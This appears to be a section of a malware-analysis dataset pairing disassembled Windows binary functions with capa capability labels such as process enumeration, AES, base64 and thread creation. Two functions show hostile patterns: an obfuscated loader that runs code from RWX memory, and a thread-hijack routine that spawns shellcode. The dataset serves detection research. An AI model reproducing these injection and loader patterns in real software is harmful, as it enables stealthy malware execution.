joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4823d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d65ab
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x5153e8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x248]
mov dword [ebp - 0x244], 0xffffffff
push eax
mov dword [ebp - 0x248], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x4825e0
cmp dword [ebp - 0x248], 0xffffffff
je 0x4825e0
xor esi, esi
xor edi, edi
xor ebx, ebx
mov dword [ebp - 0x24c], esi
mov dword [ebp - 0x25c], esi
mov dword [ebp - 0x258], edi
mov dword [ebp - 0x254], ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x240], eax
cmp eax, 0xffffffff
je 0x4825a9
push 0x228
lea eax, [ebp - 0x238]
mov dword [ebp - 0x23c], 0x22c
push ebx
push eax
call fcn.00494910
add esp, 0xc
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 0x240]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x482520
jmp 0x4824b0
lea eax, [ebp - 0x218]
push str.explorer.exe
push eax
call fcn.0049dbf9
add esp, 8
test eax, eax
jne 0x4824fe
cmp edi, ebx
je 0x4824df
mov eax, dword [ebp - 0x234]
mov dword [edi], eax
add edi, 4
mov dword [ebp - 0x258], edi
jmp 0x4824fe
lea eax, [ebp - 0x234]
push eax
push edi
lea ecx, [ebp - 0x25c]
call fcn.00403000
mov ebx, dword [ebp - 0x254]
mov edi, dword [ebp - 0x258]
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 0x240]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4824b0
mov esi, dword [ebp - 0x25c]
mov dword [ebp - 0x24c], esi
push dword [ebp - 0x240]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, edi
je 0x4825a9
lea eax, [ebp - 0x240]
mov dword [ebp - 0x240], 0xffffffff
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x482594
mov eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x248]
jne 0x482594
push dword [esi]
push 0
push 0x100400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x250], eax
test eax, eax
je 0x482594
lea ecx, [ebp - 0x244]
push ecx
push 0xf
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x250]
test eax, eax
jne 0x48259d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, edi
jne 0x482530
jmp 0x4825a3
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x24c]
mov edi, dword [ebp - 0x244]
test esi, esi
je 0x4825dc
sub ebx, esi
mov eax, esi
and ebx, 0xfffffffc
cmp ebx, 0x1000
jb 0x4825d2
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x482602
push ebx
push esi
call fcn.0049211e
add esp, 8
mov eax, edi
jmp 0x4825e6
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049212c
mov esp, ebp
pop ebp
ret
call fcn.0049da69
int3
Function at 0x483700
Capabilities:
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d68f9
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x5153e8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.0047d6e0
lea ecx, [esi + 0x18]
mov dword [ebp - 4], 0
call fcn.0047d6e0
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 1
call fcn.0047d6e0
lea ecx, [esi + 0x48]
mov byte [ebp - 4], 2
call fcn.0047d6e0
lea ecx, [esi + 0x60]
mov byte [ebp - 4], 3
call fcn.0047d6e0
lea ecx, [esi + 0x78]
mov byte [ebp - 4], 4
call fcn.0047d6e0
lea ecx, [esi + 0x90]
mov byte [ebp - 4], 5
call fcn.0047d6e0
lea ecx, [esi + 0xa8]
mov byte [ebp - 4], 6
call fcn.0047d6e0
lea ecx, [esi + 0xc0]
mov byte [ebp - 4], 7
call fcn.0047d6e0
lea ecx, [esi + 0xd8]
mov byte [ebp - 4], 8
call fcn.0047d6e0
lea ecx, [esi + 0xf0]
mov byte [ebp - 4], 9
call fcn.0047d6e0
lea ecx, [esi + 0x108]
mov byte [ebp - 4], 0xa
call fcn.0047d6e0
lea ecx, [esi + 0x120]
mov byte [ebp - 4], 0xb
call fcn.0047d6e0
lea ecx, [esi + 0x138]
mov byte [ebp - 4], 0xc
call fcn.0047d6e0
lea ecx, [esi + 0x150]
mov byte [ebp - 4], 0xd
call fcn.0047d6e0
lea ecx, [esi + 0x168]
mov byte [ebp - 4], 0xe
call fcn.0047d6e0
lea ecx, [esi + 0x180]
mov byte [ebp - 4], 0xf
call fcn.0047d6e0
lea ecx, [esi + 0x198]
mov byte [ebp - 4], 0x10
call fcn.0047d6e0
mov dword [esi + 0x1b0], 0
mov eax, esi
mov dword [esi + 0x1b4], 0
mov dword [esi + 0x1b8], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x48b2e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d7807
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x5153e8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
call fcn.0048c0e0
test al, al
jne 0x48b328
or ebx, 0xffffffff
jmp 0x48b48e
cmp dword [edi + 0xc], 0
jne 0x48b371
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
push 0
push 0
push 1
push 0
mov dword [edi + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi], eax
lea eax, [ebp - 0x10]
push eax
push 0
push edi
push 0x48c640
push 0
push 0
mov dword [ebp - 0x10], 0
call fcn.004a42ef
add esp, 0x18
mov dword [edi + 0xc], eax
lea ecx, [edi + 0x10]
call fcn.0048cf20
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x20
mov byte [ebp - 4], 1
call fcn.004920ee
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 2
test eax, eax
je 0x48b3af
lea ecx, [ebp + 8]
push ecx
mov ecx, eax
call fcn.0048a430
mov ebx, eax
jmp 0x48b3b1
xor ebx, ebx
mov dword [ebp - 0x10], ebx
push 0x10
mov byte [ebp - 4], 3
call fcn.004920ee
mov esi, eax
add esp, 4
mov dword [ebp - 0x10], esi
test esi, esi
je 0x48b3e4
mov dword [esi + 4], 1
mov dword [esi + 8], 1
mov dword [esi], vtable.std::_Ref_count_struct_KIC::Event_.0
mov dword [esi + 0xc], ebx
jmp 0x48b3e6
xor esi, esi
cmp dword [ebp - 0x20], 0
mov byte [ebp - 4], 1
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], esi
je 0x48b41d
push 4
call fcn.004920ee
add esp, 4
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov dword [eax], ecx
jmp 0x48b420
mov ecx, dword [ebp - 0x14]
mov edx, dword [edi + 0x20]
cmp edx, dword [edi + 0x24]
je 0x48b442
mov dword [edx + 4], esi
xor esi, esi
mov dword [edx], ebx
mov dword [edx + 8], ecx
add dword [edi + 0x20], 0xc
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], esi
jmp 0x48b452
lea ecx, [ebp - 0x1c]
push ecx
push edx
lea ecx, [edi + 0x1c]
call fcn.0048aa70
mov esi, dword [ebp - 0x18]
lea ecx, [edi + 0x10]
call fcn.0048cf30
push 0
push 1
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor ebx, ebx
test esi, esi
je 0x48b48e
or edi, 0xffffffff
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x48b48e
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], edi
dec edi
jne 0x48b48e
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 4]
lea ecx, [ebp + 8]
call fcn.00409270
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x24
Function at 0x48fd80
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ecx]
cmp esi, 0x10
je 0x48fd97
cmp esi, 0x20
jne 0x48ff6b
shr esi, 2
mov edx, 4
cmp esi, edx
mov dword [ebp - 0xc], esi
mov eax, esi
cmovb eax, edx
push edi
mov edi, dword [ebp + 8]
lea eax, [eax*4 + 0x1c]
mov dword [ebp - 8], eax
test edi, edi
je 0x48ff6a
mov dword [edi], 0x10
push ebx
mov dword [edi + 4], eax
xor ebx, ebx
add edi, 8
test esi, esi
je 0x48fe02
lea edx, [ecx + 5]
movzx ecx, byte [edx - 1]
lea edx, [edx + 4]
movzx eax, byte [edx - 4]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx - 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx - 2]
shl ecx, 8
or ecx, eax
mov dword [edi + ebx*4], ecx
inc ebx
cmp ebx, esi
jl 0x48fdd5
mov eax, dword [ebp - 8]
mov ebx, dword [edi + ebx*4 - 4]
mov ecx, esi
cmp esi, eax
jge 0x48feea
mov dword [ebp + 8], 0
mov dword [ebp - 4], edi
lea ebx, [ebx]
mov eax, ecx
cdq
idiv esi
test edx, edx
jne 0x48fe80
mov eax, dword [ebp + 8]
cdq
idiv esi
mov dl, byte [eax + 0x4f2940]
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx esi, byte [eax + str.cw]
movzx eax, dl
xor esi, eax
mov eax, ebx
shr eax, 8
movzx eax, al
shl esi, 8
movzx eax, byte [eax + str.cw]
xor esi, eax
movzx eax, bl
shl esi, 8
shr ebx, 0x18
movzx eax, byte [eax + str.cw]
xor esi, eax
movzx ebx, byte [ebx + str.cw]
shl esi, 8
xor ebx, esi
mov esi, dword [ebp - 0xc]
jmp 0x48fecd
cmp esi, 6
jbe 0x48fecd
cmp edx, 4
jne 0x48fecd
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx edx, byte [eax + str.cw]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
shl eax, 8
xor edx, eax
mov eax, ebx
shr eax, 8
movzx eax, al
shl edx, 8
movzx eax, byte [eax + str.cw]
xor edx, eax
movzx eax, bl
shl edx, 8
movzx ebx, byte [eax + str.cw]
xor ebx, edx
mov eax, dword [ebp - 4]
inc dword [ebp + 8]
xor ebx, dword [eax]
add eax, 4
mov dword [edi + ecx*4], ebx
inc ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
cmp ecx, eax
jl 0x48fe20
xor esi, esi
sub ecx, 1
js 0x48ff69
lea eax, [edi + eax*4]
mov dword [ebp + 8], eax
mov ebx, dword [edi + ecx*4]
cmp esi, 4
jl 0x48ff59
cmp ecx, 4
jb 0x48ff59
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx edx, byte [eax + str.cw]
mov eax, ebx
shr eax, 8
movzx eax, al
mov edx, dword [edx*4 + 0x4f1d40]
movzx eax, byte [eax + str.cw]
xor edx, dword [eax*4 + 0x4f2140]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + str.cw]
xor edx, dword [eax*4 + 0x4f1940]
movzx eax, bl
movzx eax, byte [eax + str.cw]
xor edx, dword [eax*4 + 0x4f2540]
mov eax, dword [ebp + 8]
jmp 0x48ff5b
mov edx, ebx
mov dword [eax], edx
inc esi
add eax, 4
sub ecx, 1
mov dword [ebp + 8], eax
jns 0x48fef7
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x490370
Capabilities:
Decode data using base64 via dword translation table
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
mov eax, dword [ebx + 0x10]
add eax, 3
shr eax, 2
lea eax, [eax + eax*2]
push eax
call fcn.00492275
mov ecx, ebx
add esp, 4
mov esi, eax
cmp dword [ecx + 0x14], 0x10
jb 0x49039c
mov ecx, dword [ecx]
mov ebx, dword [ebx + 0x10]
lea eax, [ebx - 1]
add eax, ecx
cmp byte [eax], 0x3d
jne 0x4903b9
lea esp, [esp]
lea eax, [eax - 1]
dec ebx
cmp byte [eax], 0x3d
je 0x4903b0
push edi
xor edi, edi
test ebx, ebx
je 0x490456
mov eax, 1
mov dword [ebp + 8], 2
sub eax, ecx
lea edx, [ecx + 2]
mov dword [ebp - 8], eax
lea eax, [ebx - 1]
shr eax, 2
inc eax
mov dword [ebp - 4], eax
movsx eax, byte [edx - 1]
mov ch, byte [eax + 0x4f29a8]
movsx eax, byte [edx - 2]
mov cl, byte [eax + 0x4f29a8]
mov al, ch
sar al, 4
and al, 3
shl cl, 2
or cl, al
mov eax, dword [ebp + 8]
mov byte [edi + esi], cl
inc edi
cmp eax, ebx
jae 0x490447
movsx eax, byte [edx]
shl ch, 4
mov cl, byte [eax + 0x4f29a8]
mov al, cl
sar al, 2
and al, 0xf
or al, ch
mov byte [edi + esi], al
inc edi
mov eax, dword [ebp - 8]
add eax, edx
cmp eax, ebx
jae 0x490444
movsx eax, byte [edx + 1]
shl cl, 6
mov al, byte [eax + 0x4f29a8]
and al, 0x3f
or al, cl
mov byte [edi + esi], al
inc edi
mov eax, dword [ebp + 8]
add eax, 4
add edx, 4
sub dword [ebp - 4], 1
mov dword [ebp + 8], eax
jne 0x4903e2
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x49045f
mov dword [eax], edi
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x490482
lea eax, [ebp + 8]
cmp ecx, eax
je 0x490482
mov edx, dword [ecx]
mov eax, esi
xor esi, esi
mov dword [ecx], eax
test edx, edx
je 0x490482
push edx
call fcn.0049227e
add esp, 4
test edi, edi
pop edi
setne bl
test esi, esi
je 0x490495
push esi
call fcn.0049227e
add esp, 4
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b3797
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004b360d

Function at 0x4b5173
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004b4cc6

Function at 0x4c0e30
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d8183
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x5153e8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 8], 0xffffffff
mov dword [esi + 4], 0xffffffff
mov dword [esi + 0xc], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0xf
mov byte [esi + 0x20], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
lea ecx, [esi + 0x48]
mov dword [esi], vtable.TiXmlDocument.0
mov dword [ebp - 4], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov dword [esi + 0x68], 0xffffffff
mov dword [esi + 0x64], 0xffffffff
push 0
push 0x4ddea8
mov byte [ebp - 4], 1
mov dword [esi + 0x60], 4
mov byte [esi + 0x6c], 0
mov byte [esi + 0x40], 0
mov dword [esi + 0x44], 0
call fcn.0040ca80
mov dword [esi + 0x68], 0
mov eax, esi
mov dword [esi + 0x64], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4c7f40
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d8637
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x5153e8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], ebx
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x10], 0
je 0x4c7f95
mov dword [ebx], 0x4fff18
mov dword [ebx + 0x50], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
push 0
lea esi, [ebx + 4]
mov ecx, ebx
push 0
push esi
mov dword [ebp + 0xc], esi
call fcn.004c7d70
mov eax, dword [ebx]
push 8
mov dword [ebp - 4], 1
mov dword [ebp - 0x18], esi
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x50]
mov dword [ecx + ebx - 4], eax
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004920ee
mov esi, eax
add esp, 4
test esi, esi
je 0x4c7ff2
push 1
mov byte [ebp - 4], 2
call fcn.00490ca3
add esp, 4
mov dword [esi + 4], eax
jmp 0x4c7ff4
xor esi, esi
lea eax, [ebx + 4]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
lea ecx, [eax + 0x18]
mov dword [eax + 0x20], ecx
lea edx, [eax + 0x24]
mov dword [eax + 0x2c], edx
lea edi, [eax + 0x14]
mov dword [eax + 0x1c], edi
add eax, 0x28
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x10]
mov dword [esi], 0
mov esi, dword [ebp + 0xc]
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov ebx, dword [ebp + 8]
mov ecx, ebx
not ecx
mov dword [edi], 0
mov dword [edx], 0
and ecx, 1
shl ecx, 2
mov eax, ebx
mov edx, ecx
mov dword [esi], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
or edx, 8
mov dword [esi + 0x38], 0
and al, 8
cmove edx, ecx
mov eax, edx
or eax, 0x10
and bl, 4
cmove eax, edx
mov dword [esi + 0x3c], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10004830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x10004839
xor eax, esi
pop esi
pop ebp
ret 4

Function at 0x10004850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x10004859
xor eax, esi
pop esi
pop ebp
ret 4

Function at 0x100055a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x100055a9
pop esi
pop ebp
ret 8

Function at 0x100055c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x100055c9
pop esi
pop ebp
ret 4

Function at 0x100055e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x100055e9
pop esi
pop ebp
ret 8

Function at 0x100186b0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x1018092c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x101837c8]
push ebx
xor ebx, ebx
mov dword [ebp - 0x60], ebx
test eax, eax
jne 0x10018788
push esi
push 0x55
pop esi
push esi
push 0x101837d0
push 0x5c
push ebx
call dword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jle 0x10018772
push esi
lea eax, [ebp - 0x5c]
push ebx
push eax
call fcn.100a9420
add esp, 0xc
mov eax, ebx
cmp word [eax*2 + 0x101837d0], 0x5f
mov cl, 0x2d
je 0x10018712
mov cl, byte [eax*2 + 0x101837d0]
mov byte [ebp + eax - 0x5c], cl
test cl, cl
je 0x1001871f
inc eax
cmp eax, esi
jl 0x100186fe
cmp eax, esi
push 0x41
sbb al, al
and byte [ebp - 8], al
call sym.icucnv69.dll_utext_openConstUnicodeString_69
mov esi, eax
pop ecx
test esi, esi
je 0x10018772
lea eax, [ebp - 0x60]
push eax
push 0x40
lea eax, [ebp - 0x5c]
push esi
push eax
call sym.icucnv69.dll_utext_openConstUnicodeString_69
add esp, 0x10
cmp dword [ebp - 0x60], ebx
jg 0x1001876b
push 0x10017f70
push 0x17
mov byte [eax + esi], bl
mov dword [0x101837c8], esi
mov byte [0x101837cc], 1
call sym.icucnv69.dll_utext_openConstUnicodeString_69
pop ecx
jmp 0x10018771
push esi
call sym.icucnv69.dll_utext_openConstUnicodeString_69
pop ecx
mov ecx, dword [0x101837c8]
mov eax, 0x100fef10
test ecx, ecx
pop esi
cmovne eax, ecx
mov dword [0x101837c8], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10084499
leave
ret
Function at 0x1006af10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1006af1f
pop dword [ebp - 8]
mov eax, 0xca71d177
add eax, 0x4594dda8
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x73489
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x866524d
add ecx, 0xf799fb88
xor esi, esi
add esi, eax
mov edx, 0x10191000
add edx, dword [ebp - 8]
mov ebx, 0x1bd06ccd
sub ebx, 0x64cc8b71
sub dword [ebp - 4], eax
mov edi, dword [edx]
mov dword [ebp - 4], 0xca7d92e0
add edi, ebx
xor dword [ebp - 4], 0x6b2f8373
mov dword [esi], edi
sub dword [ebp - 4], edx
add esi, 0x7c845174
add esi, 0x837bae90
add edx, 0xe7213be6
sub edx, 0xe7213be2
loop 0x1006af75
add eax, 0xb65c0df
sub eax, 0xb6496b8
xor ebx, ebx
add ebx, eax
add eax, 0xeb225a21
sub eax, 0xeb225a1c
mov ecx, 0x50212841
add ecx, 0xbfded7bf
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x100012c0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x1001100c]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, 0xd6
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + 0x1000fb3c]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x100012e0
push esi
lea eax, [ebp - 0x18]
mov byte [ebp - 6], 0
push eax
push 0x3f657fe3
lea ecx, [ebp - 0x24]
call fcn.10001520
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f4]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], sym.wzAudio.dll_wzAudioCreate
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100017c9
mov esp, ebp
pop ebp
ret 0x10
Function at 0x100013d0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
mov eax, dword [0x1001100c]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
jne 0x100014ff
push esi
push edi
push 0x94
lea eax, [ebp - 0xb0]
push 0
push eax
call fcn.10002ae0
add esp, 0xc
mov dword [ebp - 0xb0], 0x94
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0xac], 6
mov edi, 1
ja 0x1000143f
movzx eax, byte [0x100119d0]
cmp dword [ebp - 0xa8], edi
cmovbe eax, edi
mov byte [0x100119d0], al
push 0x1f237e23
lea ecx, [ebp - 0x1c]
call fcn.100015a0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
mov word [ebp - 0x14], 0
push 0x397995de
lea ecx, [ebp - 0x10]
movq qword [ebp - 0x1c], xmm0
mov esi, eax
mov byte [ebp - 0x12], 0
call fcn.10001630
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x100014be
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x74696e49
push eax
push esi
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], 0
mov byte [ebp - 8], 0
call eax
sub esp, 0x10
call fcn.100012c0
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100017c9
mov esp, ebp
pop ebp
ret 0xc
push 0x5cc6803f
lea ecx, [ebp - 0x10]
call fcn.100016a0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 8], 0
movq qword [ebp - 0x10], xmm0
call eax
sub esp, 0x10
call fcn.100012c0
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100017c9
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.100017c9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x77c96834
Capabilities:
Resume thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0xfffffffffffffffe
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
je 0x77c9687c
push ebx
lea eax, [edi + 0x20]
push eax
call esi
test eax, eax
jne 0x77ce7087
and dword [ebp + 8], 0
push 4
lea eax, [ebp + 8]
push eax
push 0x16
push ebx
call dword [sym.imp.ntdll.dll_NtSetInformationThread]
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x77ce7093
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x77c96869
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov dword [ebp - 4], eax
je 0x77c9688c
push 0
add edi, 0x20
push edi
call esi
jmp 0x77c9688c